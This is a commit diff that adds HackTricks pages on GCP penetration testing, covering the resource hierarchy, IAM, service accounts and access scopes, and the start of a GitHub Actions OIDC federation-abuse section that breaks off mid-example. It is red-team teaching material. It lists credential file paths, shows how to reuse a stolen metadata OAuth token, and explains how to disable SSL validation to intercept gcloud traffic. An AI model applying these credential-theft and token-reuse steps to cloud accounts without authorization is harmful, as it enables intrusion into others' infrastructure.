mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-02 02:54:53 -07:00
Migrate to using mdbook
This commit is contained in:
@@ -0,0 +1,245 @@
|
||||
# GCP Pentesting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Before start pentesting** a **GCP** environment, there are a few **basics things you need to know** about how it works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
|
||||
|
||||
Concepts such as **organization** hierarchy, **permissions** and other basic concepts are explained in:
|
||||
|
||||
{{#ref}}
|
||||
gcp-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
## Labs to learn
|
||||
|
||||
- [https://gcpgoat.joshuajebaraj.com/](https://gcpgoat.joshuajebaraj.com/)
|
||||
- [https://github.com/ine-labs/GCPGoat](https://github.com/ine-labs/GCPGoat)
|
||||
- [https://github.com/lacioffi/GCP-pentest-lab/](https://github.com/lacioffi/GCP-pentest-lab/)
|
||||
- [https://github.com/carlospolop/gcp_privesc_scripts](https://github.com/carlospolop/gcp_privesc_scripts)
|
||||
|
||||
## GCP Pentester/Red Team Methodology
|
||||
|
||||
In order to audit a GCP environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal GCP services an **external services** connected.
|
||||
|
||||
From a Red Team point of view, the **first step to compromise a GCP environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
|
||||
|
||||
- **Leaks** in github (or similar) - OSINT
|
||||
- **Social** Engineering (Check the page [**Workspace Security**](../workspace-security/))
|
||||
- **Password** reuse (password leaks)
|
||||
- Vulnerabilities in GCP-Hosted Applications
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
|
||||
- **Local File Read**
|
||||
- `/home/USERNAME/.config/gcloud/*`
|
||||
- `C:\Users\USERNAME\.config\gcloud\*`
|
||||
- 3rd parties **breached**
|
||||
- **Internal** Employee
|
||||
|
||||
Or by **compromising an unauthenticated service** exposed:
|
||||
|
||||
{{#ref}}
|
||||
gcp-unauthenticated-enum-and-access/
|
||||
{{#endref}}
|
||||
|
||||
Or if you are doing a **review** you could just **ask for credentials** with these roles:
|
||||
|
||||
{{#ref}}
|
||||
gcp-permissions-for-a-pentest.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
|
||||
|
||||
## Basic Enumeration
|
||||
|
||||
### **SSRF**
|
||||
|
||||
For more information about how to **enumerate GCP metadata** check the following hacktricks page:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#6440
|
||||
{{#endref}}
|
||||
|
||||
### Whoami
|
||||
|
||||
In GCP you can try several options to try to guess who you are:
|
||||
|
||||
```bash
|
||||
#If you are inside a compromise machine
|
||||
gcloud auth list
|
||||
curl -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$(gcloud auth print-access-token)" https://www.googleapis.com/oauth2/v1/tokeninfo
|
||||
gcloud auth print-identity-token #Get info from the token
|
||||
|
||||
#If you compromised a metadata token or somehow found an OAuth token
|
||||
curl -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=<token>" https://www.googleapis.com/oauth2/v1/tokeninfo
|
||||
```
|
||||
|
||||
You can also use the API endpoint `/userinfo` to get more info about the user:
|
||||
|
||||
```bash
|
||||
curl -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: OAuth $(gcloud auth print-access-token)" https://www.googleapis.com/oauth2/v1/userinfo
|
||||
|
||||
curl -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: OAuth <access_token>" https://www.googleapis.com/oauth2/v1/userinfo
|
||||
```
|
||||
|
||||
### Org Enumeration
|
||||
|
||||
```bash
|
||||
# Get organizations
|
||||
gcloud organizations list #The DIRECTORY_CUSTOMER_ID is the Workspace ID
|
||||
gcloud resource-manager folders list --organization <org_number> # Get folders
|
||||
gcloud projects list # Get projects
|
||||
```
|
||||
|
||||
### Principals & IAM Enumeration
|
||||
|
||||
If you have enough permissions, **checking the privileges of each entity inside the GCP account** will help you understand what you and other identities can do and how to **escalate privileges**.
|
||||
|
||||
If you don't have enough permissions to enumerate IAM, you can **steal brute-force them** to figure them out.\
|
||||
Check **how to do the numeration and brute-forcing** in:
|
||||
|
||||
{{#ref}}
|
||||
gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
|
||||
> In the following section you can check some ways to **enumerate some common services.**
|
||||
|
||||
## Services Enumeration
|
||||
|
||||
GCP has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets, how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
|
||||
|
||||
{{#ref}}
|
||||
gcp-services/
|
||||
{{#endref}}
|
||||
|
||||
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automatic-tools).
|
||||
|
||||
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
|
||||
|
||||
{{#ref}}
|
||||
gcp-unauthenticated-enum-and-access/
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation, Post Exploitation & Persistence
|
||||
|
||||
The most common way once you have obtained some cloud credentials or have compromised some service running inside a cloud is to **abuse misconfigured privileges** the compromised account may have. So, the first thing you should do is to enumerate your privileges.
|
||||
|
||||
Moreover, during this enumeration, remember that **permissions can be set at the highest level of "Organization"** as well.
|
||||
|
||||
{{#ref}}
|
||||
gcp-privilege-escalation/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
gcp-post-exploitation/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
gcp-persistence/
|
||||
{{#endref}}
|
||||
|
||||
### Publicly Exposed Services
|
||||
|
||||
While enumerating GCP services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
|
||||
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
|
||||
|
||||
In this book you should find **information** about how to find **exposed GCP services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/
|
||||
{{#endref}}
|
||||
|
||||
## GCP <--> Workspace Pivoting
|
||||
|
||||
**Compromising** principals in **one** platform might allow an attacker to **compromise the other one**, check it in:
|
||||
|
||||
{{#ref}}
|
||||
gcp-to-workspace-pivoting/
|
||||
{{#endref}}
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
- In the **GCloud console**, in [https://console.cloud.google.com/iam-admin/asset-inventory/dashboard](https://console.cloud.google.com/iam-admin/asset-inventory/dashboard) you can see resources and IAMs being used by project.
|
||||
- Here you can see the assets supported by this API: [https://cloud.google.com/asset-inventory/docs/supported-asset-types](https://cloud.google.com/asset-inventory/docs/supported-asset-types)
|
||||
- Check **tools** that can be [**used in several clouds here**](../pentesting-cloud-methodology.md).
|
||||
- [**gcp_scanner**](https://github.com/google/gcp_scanner): This is a GCP resource scanner that can help determine what **level of access certain credentials posses** on GCP.
|
||||
|
||||
```bash
|
||||
# Install
|
||||
git clone https://github.com/google/gcp_scanner.git
|
||||
cd gcp_scanner
|
||||
virtualenv -p python3 venv
|
||||
source venv/bin/activate
|
||||
pip install -r requirements.txt
|
||||
# Execute with gcloud creds
|
||||
python3 __main__.py -o /tmp/output/ -g "$HOME/.config/gcloud"
|
||||
```
|
||||
|
||||
- [**gcp_enum**](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_enum): Bash script to enumerate a GCP environment using gcloud cli and saving the results in a file.
|
||||
- [**GCP-IAM-Privilege-Escalation**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation): Scripts to enumerate high IAM privileges and to escalate privileges in GCP abusing them (I couldn’t make run the enumerate script).
|
||||
- [**BF My GCP Permissions**](https://github.com/carlospolop/bf_my_gcp_permissions): Script to bruteforce your permissions.
|
||||
|
||||
## gcloud config & debug
|
||||
|
||||
```bash
|
||||
# Login so gcloud can use your credentials
|
||||
gcloud auth login
|
||||
gcloud config set project security-devbox
|
||||
gcloud auth print-access-token
|
||||
|
||||
# Login so SDKs can use your user credentials
|
||||
gcloud auth application-default login
|
||||
gcloud auth application-default set-quota-project security-devbox
|
||||
gcloud auth application-default print-access-token
|
||||
|
||||
# Update gcloud
|
||||
gcloud components update
|
||||
```
|
||||
|
||||
### Capture gcloud, gsutil... network
|
||||
|
||||
Remember that you can use the **parameter** **`--log-http`** with the **`gcloud`** cli to **print** the **requests** the tool is performing. If you don't want the logs to redact the token value use `gcloud config set log_http_redact_token false`
|
||||
|
||||
Moreover, to intercept the communication:
|
||||
|
||||
```bash
|
||||
gcloud config set proxy/address 127.0.0.1
|
||||
gcloud config set proxy/port 8080
|
||||
gcloud config set proxy/type http
|
||||
gcloud config set auth/disable_ssl_validation True
|
||||
|
||||
# If you don't want to completely disable ssl_validation use:
|
||||
gcloud config set core/custom_ca_certs_file cert.pem
|
||||
|
||||
# Back to normal
|
||||
gcloud config unset proxy/address
|
||||
gcloud config unset proxy/port
|
||||
gcloud config unset proxy/type
|
||||
gcloud config unset auth/disable_ssl_validation
|
||||
gcloud config unset core/custom_ca_certs_file
|
||||
```
|
||||
|
||||
### OAuth token configure in gcloud
|
||||
|
||||
In order to **use an exfiltrated service account OAuth token from the metadata endpoint** you can just do:
|
||||
|
||||
```bash
|
||||
# Via env vars
|
||||
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||||
gcloud projects list
|
||||
|
||||
# Via setup
|
||||
echo "<token>" > /some/path/to/token
|
||||
gcloud config set auth/access_token_file /some/path/to/token
|
||||
gcloud projects list
|
||||
gcloud config unset auth/access_token_file
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,230 @@
|
||||
# GCP - Basic Information
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Resource hierarchy**
|
||||
|
||||
Google Cloud uses a [Resource hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) that is similar, conceptually, to that of a traditional filesystem. This provides a logical parent/child workflow with specific attachment points for policies and permissions.
|
||||
|
||||
At a high level, it looks like this:
|
||||
|
||||
```
|
||||
Organization
|
||||
--> Folders
|
||||
--> Projects
|
||||
--> Resources
|
||||
```
|
||||
|
||||
A virtual machine (called a Compute Instance) is a resource. A resource resides in a project, probably alongside other Compute Instances, storage buckets, etc.
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg">https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg</a></p></figcaption></figure>
|
||||
|
||||
## **Projects Migration**
|
||||
|
||||
It's possible to **migrate a project without any organization** to an organization with the permissions `roles/resourcemanager.projectCreator` and `roles/resourcemanager.projectMover`. If the project is inside other organization, it's needed to contact GCP support to **move them out of the organization first**. For more info check [**this**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6).
|
||||
|
||||
## **Organization Policies**
|
||||
|
||||
Allow to centralize control over your organization's cloud resources:
|
||||
|
||||
- Centralize control to **configure restrictions** on how your organization’s resources can be used.
|
||||
- Define and establish **guardrails** for your development teams to stay within compliance boundaries.
|
||||
- Help project owners and their teams move quickly without worry of breaking compliance.
|
||||
|
||||
These policies can be created to **affect the complete organization, folder(s) or project(s)**. Descendants of the targeted resource hierarchy node **inherit the organization policy**.
|
||||
|
||||
In order to **define** an organization policy, **you choose a** [**constraint**](https://cloud.google.com/resource-manager/docs/organization-policy/overview#constraints), which is a particular type of restriction against either a Google Cloud service or a group of Google Cloud services. You **configure that constraint with your desired restrictions**.
|
||||
|
||||
<figure><img src="../../../images/image (217).png" alt=""><figcaption><p><a href="https://cloud.google.com/resource-manager/img/org-policy-concepts.svg">https://cloud.google.com/resource-manager/img/org-policy-concepts.svg</a></p></figcaption></figure>
|
||||
|
||||
#### Common use cases <a href="#common_use_cases" id="common_use_cases"></a>
|
||||
|
||||
- Limit resource sharing based on domain.
|
||||
- Limit the usage of Identity and Access Management service accounts.
|
||||
- Restrict the physical location of newly created resources.
|
||||
- Disable service account creation
|
||||
|
||||
<figure><img src="../../../images/image (172).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
There are many more constraints that give you fine-grained control of your organization's resources. For **more information, see the** [**list of all Organization Policy Service constraints**](https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints)**.**
|
||||
|
||||
### **Default Organization Policies**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>These are the policies that Google will add by default when setting up your GCP organization:</summary>
|
||||
|
||||
**Access Management Policies**
|
||||
|
||||
- **Domain restricted contacts:** Prevents adding users to Essential Contacts outside your specified domains. This limits Essential Contacts to only allow managed user identities in your selected domains to receive platform notifications.
|
||||
- **Domain restricted sharing:** Prevents adding users to IAM policies outside your specified domains. This limits IAM policies to only allow managed user identities in your selected domains to access resources inside this organization.
|
||||
- **Public access prevention:** Prevents Cloud Storage buckets from being exposed to the public. This ensures that a developer can't configure Cloud Storage buckets to have unauthenticated internet access.
|
||||
- **Uniform bucket level access:** Prevents object-level access control lists (ACLs) in Cloud Storage buckets. This simplifies your access management by applying IAM policies consistently across all objects in Cloud Storage buckets.
|
||||
- **Require OS login:** VMs created in new projects will have OS Login enabled. This lets you manage SSH access to your instances using IAM without needing to create and manage individual SSH keys.
|
||||
|
||||
**Additional security policies for service accounts**
|
||||
|
||||
- **Disable automatic IAM grants**: Prevents the default App Engine and Compute Engine service accounts from automatically being granted the Editor IAM role on a project at creation. This ensures service accounts don't receive overly-permissive IAM roles upon creation.
|
||||
- **Disable service account key creation**: Prevents the creation of public service account keys. This helps reduce the risk of exposing persistent credentials.
|
||||
- **Disable service account key upload**: Prevents the uploading of public service account keys. This helps reduce the risk of leaked or reused key material.
|
||||
|
||||
**Secure VPC network configuration policies**
|
||||
|
||||
- **Define allowed external IPs for VM instances**: Prevents the creation of Compute instances with a public IP, which can expose them to internet traffic.
|
||||
|
||||
* **Disable VM nested virtualization**: Prevents the creation of nested VMs on Compute Engine VMs. This decreases the security risk of having unmonitored nested VMs.
|
||||
|
||||
- **Disable VM serial port:** Prevents serial port access to Compute Engine VMs. This prevents input to a server’s serial port using the Compute Engine API.
|
||||
|
||||
* **Restrict authorized networks on Cloud SQL instances:** Prevents public or non-internal network ranges from accessing your Cloud SQL databases.
|
||||
|
||||
- **Restrict Protocol Forwarding Based on type of IP Address:** Prevents VM protocol forwarding for external IP addresses.
|
||||
|
||||
* **Restrict Public IP access on Cloud SQL instances:** Prevents the creation of Cloud SQL instances with a public IP, which can expose them to internet traffic.
|
||||
|
||||
- **Restrict shared VPC project lien removal:** Prevents the accidental deletion of Shared VPC host projects.
|
||||
|
||||
* **Sets the internal DNS setting for new projects to Zonal DNS Only:** Prevents the use of a legacy DNS setting that has reduced service availability.
|
||||
|
||||
- **Skip default network creation:** Prevents automatic creation of the default VPC network and related resources. This avoids overly-permissive default firewall rules.
|
||||
|
||||
* **Disable VPC External IPv6 usage:** Prevents the creation of external IPv6 subnets, which can be exposed to unauthorized internet access.
|
||||
|
||||
</details>
|
||||
|
||||
## **IAM Roles**
|
||||
|
||||
These are like IAM policies in AWS as **each role contains a set of permissions.**
|
||||
|
||||
However, unlike in AWS, there is **no centralized repo** of roles. Instead of that, **resources give X access roles to Y principals**, and the only way to find out who has access to a resource is to use the **`get-iam-policy` method over that resource**.\
|
||||
This could be a problem because this means that the only way to find out **which permissions a principal has is to ask every resource who is it giving permissions to**, and a user might not have permissions to get permissions from all resources.
|
||||
|
||||
There are **three types** of roles in IAM:
|
||||
|
||||
- **Basic/Primitive roles**, which include the **Owner**, **Editor**, and **Viewer** roles that existed prior to the introduction of IAM.
|
||||
- **Predefined roles**, which provide granular access for a specific service and are managed by Google Cloud. There are a lot of predefined roles, you can **see all of them with the privileges they have** [**here**](https://cloud.google.com/iam/docs/understanding-roles#predefined_roles).
|
||||
- **Custom roles**, which provide granular access according to a user-specified list of permissions.
|
||||
|
||||
There are thousands of permissions in GCP. In order to check if a role has a permissions you can [**search the permission here**](https://cloud.google.com/iam/docs/permissions-reference) and see which roles have it.
|
||||
|
||||
You can also [**search here predefined roles**](https://cloud.google.com/iam/docs/understanding-roles#product_specific_documentation) **offered by each product.** Note that some **roles** cannot be attached to users and **only to SAs because some permissions** they contain.\
|
||||
Moreover, note that **permissions** will only **take effect** if they are **attached to the relevant service.**
|
||||
|
||||
Or check if a **custom role can use a** [**specific permission in here**](https://cloud.google.com/iam/docs/custom-roles-permissions-support)**.**
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Users <a href="#default-credentials" id="default-credentials"></a>
|
||||
|
||||
In **GCP console** there **isn't any Users or Groups** management, that is done in **Google Workspace**. Although you could synchronize a different identity provider in Google Workspace.
|
||||
|
||||
You can access Workspaces **users and groups in** [**https://admin.google.com**](https://admin.google.com/).
|
||||
|
||||
**MFA** can be **forced** to Workspaces users, however, an **attacker** could use a token to access GCP **via cli which won't be protected by MFA** (it will be protected by MFA only when the user logins to generate it: `gcloud auth login`).
|
||||
|
||||
## Groups
|
||||
|
||||
When an organisation is created several groups are **strongly suggested to be created.** If you manage any of them you might have compromised all or an important part of the organization:
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="299.3076923076923"></th><th></th></tr></thead><tbody><tr><td><strong>Group</strong></td><td><strong>Function</strong></td></tr><tr><td><strong><code>gcp-organization-admins</code></strong><br><em>(group or individual accounts required for checklist)</em></td><td>Administering any resource that belongs to the organization. Assign this role sparingly; org admins have access to all of your Google Cloud resources. Alternatively, because this function is highly privileged, consider using individual accounts instead of creating a group.</td></tr><tr><td><strong><code>gcp-network-admins</code></strong><br><em>(required for checklist)</em></td><td>Creating networks, subnets, firewall rules, and network devices such as Cloud Router, Cloud VPN, and cloud load balancers.</td></tr><tr><td><strong><code>gcp-billing-admins</code></strong><br><em>(required for checklist)</em></td><td>Setting up billing accounts and monitoring their usage.</td></tr><tr><td><strong><code>gcp-developers</code></strong><br><em>(required for checklist)</em></td><td>Designing, coding, and testing applications.</td></tr><tr><td><strong><code>gcp-security-admins</code></strong><br></td><td>Establishing and managing security policies for the entire organization, including access management and <a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">organization constraint policies</a>. See the <a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">Google Cloud security foundations guide</a> for more information about planning your Google Cloud security infrastructure.</td></tr><tr><td><strong><code>gcp-devops</code></strong></td><td>Creating or managing end-to-end pipelines that support continuous integration and delivery, monitoring, and system provisioning.</td></tr><tr><td><strong><code>gcp-logging-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-logging-viewers</code></strong></td><td></td></tr><tr><td><strong><code>gcp-monitor-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-billing-viewer</code></strong><br><em>(no longer by default)</em></td><td>Monitoring the spend on projects. Typical members are part of the finance team.</td></tr><tr><td><strong><code>gcp-platform-viewer</code></strong><br><em>(no longer by default)</em></td><td>Reviewing resource information across the Google Cloud organization.</td></tr><tr><td><strong><code>gcp-security-reviewer</code></strong><br><em>(no longer by default)</em></td><td>Reviewing cloud security.</td></tr><tr><td><strong><code>gcp-network-viewer</code></strong><br><em>(no longer by default)</em></td><td>Reviewing network configurations.</td></tr><tr><td><strong><code>grp-gcp-audit-viewer</code></strong><br><em>(no longer by default)</em></td><td>Viewing audit logs.</td></tr><tr><td><strong><code>gcp-scc-admin</code></strong><br><em>(no longer by default)</em></td><td>Administering Security Command Center.</td></tr><tr><td><strong><code>gcp-secrets-admin</code></strong><br><em>(no longer by default)</em></td><td>Managing secrets in Secret Manager.</td></tr></tbody></table>
|
||||
|
||||
## **Default Password Policy**
|
||||
|
||||
- Enforce strong passwords
|
||||
- Between 8 and 100 characters
|
||||
- No reuse
|
||||
- No expiration
|
||||
- If people is accessing Workspace through a third party provider, these requirements aren't applied.
|
||||
|
||||
<figure><img src="../../../images/image (20).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../images/image (22).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## **Service accounts**
|
||||
|
||||
These are the principals that **resources** can **have** **attached** and access to interact easily with GCP. For example, it's possible to access the **auth token** of a Service Account **attached to a VM** in the metadata.\
|
||||
It is possible to encounter some **conflicts** when using both **IAM and access scopes**. For example, your service account may have the IAM role of `compute.instanceAdmin` but the instance you've breached has been crippled with the scope limitation of `https://www.googleapis.com/auth/compute.readonly`. This would prevent you from making any changes using the OAuth token that's automatically assigned to your instance.
|
||||
|
||||
It's similar to **IAM roles from AWS**. But not like in AWS, **any** service account can be **attached to any service** (it doesn't need to allow it via a policy).
|
||||
|
||||
Several of the service accounts that you will find are actually **automatically generated by GCP** when you start using a service, like:
|
||||
|
||||
```
|
||||
PROJECT_NUMBER-compute@developer.gserviceaccount.com
|
||||
PROJECT_ID@appspot.gserviceaccount.com
|
||||
```
|
||||
|
||||
However, it's also possible to create and attach to resources **custom service accounts**, which will look like this:
|
||||
|
||||
```
|
||||
SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com
|
||||
```
|
||||
|
||||
### **Keys & Tokens**
|
||||
|
||||
There are 2 main ways to access GCP as a service account:
|
||||
|
||||
- **Via OAuth tokens**: These are tokens that you will get from places like metadata endpoints or stealing http requests and they are limited by the **access scopes**.
|
||||
- **Keys**: These are public and private key pairs that will allow you to sign requests as the service account and even generate OAuth tokens to perform actions as the service account. These keys are dangerous because they are more complicated to limit and control, that's why GCP recommend to not generate them.
|
||||
- Note that every-time a SA is created, **GCP generates a key for the service account** that the user cannot access (and won't be listed in the web application). According to [**this thread**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/) this key is **used internally by GCP** to give metadata endpoints access to generate the accesible OAuth tokens.
|
||||
|
||||
### **Access scopes**
|
||||
|
||||
Access scope are **attached to generated OAuth tokens** to access the GCP API endpoints. They **restrict the permissions** of the OAuth token.\
|
||||
This means that if a token belongs to an Owner of a resource but doesn't have the in the token scope to access that resource, the token **cannot be used to (ab)use those privileges**.
|
||||
|
||||
Google actually [recommends](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) that **access scopes are not used and to rely totally on IAM**. The web management portal actually enforces this, but access scopes can still be applied to instances using custom service accounts programmatically.
|
||||
|
||||
You can see what **scopes** are **assigned** by **querying:**
|
||||
|
||||
```bash
|
||||
curl 'https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<access_token>'
|
||||
|
||||
{
|
||||
"issued_to": "223044615559.apps.googleusercontent.com",
|
||||
"audience": "223044615559.apps.googleusercontent.com",
|
||||
"user_id": "139746512919298469201",
|
||||
"scope": "openid https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/appengine.admin https://www.googleapis.com/auth/sqlservice.login https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/accounts.reauth",
|
||||
"expires_in": 2253,
|
||||
"email": "username@testing.com",
|
||||
"verified_email": true,
|
||||
"access_type": "offline"
|
||||
}
|
||||
```
|
||||
|
||||
The previous **scopes** are the ones generated by **default** using **`gcloud`** to access data. This is because when you use **`gcloud`** you first create an OAuth token, and then use it to contact the endpoints.
|
||||
|
||||
The most important scope of those potentially is **`cloud-platform`**, which basically means that it's possible to **access any service in GCP**.
|
||||
|
||||
You can **find a list of** [**all the possible scopes in here**](https://developers.google.com/identity/protocols/googlescopes)**.**
|
||||
|
||||
If you have **`gcloud`** browser credentials, it's possible to **obtain a token with other scopes,** doing something like:
|
||||
|
||||
```bash
|
||||
# Maybe you can get a user token with other scopes changing the scopes array from ~/.config/gcloud/credentials.db
|
||||
|
||||
# Set new scopes for SDKs credentials
|
||||
gcloud auth application-default login --scopes=https://www.googleapis.com/auth/userinfo.email,https://www.googleapis.com/auth/cloud-platform,https://www.googleapis.com/auth/sqlservice.login,https://www.googleapis.com/auth/appengine.admin,https://www.googleapis.com/auth/compute,https://www.googleapis.com/auth/accounts.reauth,https://www.googleapis.com/auth/admin.directory.user,https://www.googleapis.com/auth/admin.directory.group,https://www.googleapis.com/auth/admin.directory.domain,https://www.googleapis.com/auth/admin.directory.user
|
||||
|
||||
# Print new token
|
||||
gcloud auth application-default print-access-token
|
||||
|
||||
# To use this token with some API you might need to use curl to indicate the project header with --header "X-Goog-User-Project: <project-name>"
|
||||
```
|
||||
|
||||
## **Terraform IAM Policies, Bindings and Memberships**
|
||||
|
||||
As defined by terraform in [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam) using terraform with GCP there are different ways to grant a principal access over a resource:
|
||||
|
||||
- **Memberships**: You set **principals as members of roles** **without restrictions** over the role or the principals. You can put a user as a member of a role and then put a group as a member of the same role and also set those principals (user and group) as member of other roles.
|
||||
- **Bindings**: Several **principals can be binded to a role**. Those **principals can still be binded or be members of other roles**. However, if a principal which isn’t binded to the role is set as **member of a binded role**, the next time the **binding is applied, the membership will disappear**.
|
||||
- **Policies**: A policy is **authoritative**, it indicates roles and principals and then, **those principals cannot have more roles and those roles cannot have more principals** unless that policy is modified (not even in other policies, bindings or memberships). Therefore, when a role or principal is specified in policy all its privileges are **limited by that policy**. Obviously, this can be bypassed in case the principal is given the option to modify the policy or privilege escalation permissions (like create a new principal and bind him a new role).
|
||||
|
||||
## References
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
- [https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,153 @@
|
||||
# GCP - Federation Abuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## OIDC - Github Actions Abuse
|
||||
|
||||
### GCP
|
||||
|
||||
In order to give **access to the Github Actions** from a Github repo to a GCP **service account** the following steps are needed:
|
||||
|
||||
- **Create the Service Account** to access from github actions with the **desired permissions:**
|
||||
|
||||
```bash
|
||||
projectId=FIXME
|
||||
gcloud config set project $projectId
|
||||
|
||||
# Create the Service Account
|
||||
gcloud iam service-accounts create "github-demo-sa"
|
||||
saId="github-demo-sa@${projectId}.iam.gserviceaccount.com"
|
||||
|
||||
# Enable the IAM Credentials API
|
||||
gcloud services enable iamcredentials.googleapis.com
|
||||
|
||||
# Give permissions to SA
|
||||
|
||||
gcloud projects add-iam-policy-binding $projectId \
|
||||
--member="serviceAccount:$saId" \
|
||||
--role="roles/iam.securityReviewer"
|
||||
```
|
||||
|
||||
- Generate a **new workload identity pool**:
|
||||
|
||||
```bash
|
||||
# Create a Workload Identity Pool
|
||||
poolName=wi-pool
|
||||
|
||||
gcloud iam workload-identity-pools create $poolName \
|
||||
--location global \
|
||||
--display-name $poolName
|
||||
|
||||
poolId=$(gcloud iam workload-identity-pools describe $poolName \
|
||||
--location global \
|
||||
--format='get(name)')
|
||||
```
|
||||
|
||||
- Generate a new **workload identity pool OIDC provider** that **trusts** github actions (by org/repo name in this scenario):
|
||||
|
||||
```bash
|
||||
attributeMappingScope=repository # could be sub (GitHub repository and branch) or repository_owner (GitHub organization)
|
||||
|
||||
gcloud iam workload-identity-pools providers create-oidc $poolName \
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--display-name $poolName \
|
||||
--attribute-mapping "google.subject=assertion.${attributeMappingScope},attribute.actor=assertion.actor,attribute.aud=assertion.aud,attribute.repository=assertion.repository" \
|
||||
--issuer-uri "https://token.actions.githubusercontent.com"
|
||||
|
||||
providerId=$(gcloud iam workload-identity-pools providers describe $poolName \
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--format='get(name)')
|
||||
```
|
||||
|
||||
- Finally, **allow the principal** from the provider to use a service principal:
|
||||
|
||||
```bash
|
||||
gitHubRepoName="repo-org/repo-name"
|
||||
gcloud iam service-accounts add-iam-policy-binding $saId \
|
||||
--role "roles/iam.workloadIdentityUser" \
|
||||
--member "principalSet://iam.googleapis.com/${poolId}/attribute.${attributeMappingScope}/${gitHubRepoName}"
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note how in the previous member we are specifying the **`org-name/repo-name`** as conditions to be able to access the service account (other params that makes it **more restrictive** like the branch could also be used).
|
||||
>
|
||||
> However it's also possible to **allow all github to access** the service account creating a provider such the following using a wildcard:
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"># Create a Workload Identity Pool
|
||||
poolName=wi-pool2
|
||||
|
||||
gcloud iam workload-identity-pools create $poolName \
|
||||
--location global \
|
||||
